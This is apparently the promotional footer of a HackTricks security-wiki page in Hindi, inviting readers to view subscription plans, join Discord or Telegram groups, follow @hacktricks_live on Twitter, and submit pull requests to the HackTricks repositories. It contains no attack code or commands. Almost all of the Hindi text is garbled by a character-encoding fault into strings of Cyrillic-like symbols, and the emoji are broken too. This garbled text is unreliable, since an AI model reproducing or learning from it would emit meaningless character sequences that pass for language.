- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ ЁЯРж @hacktricks_live.**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред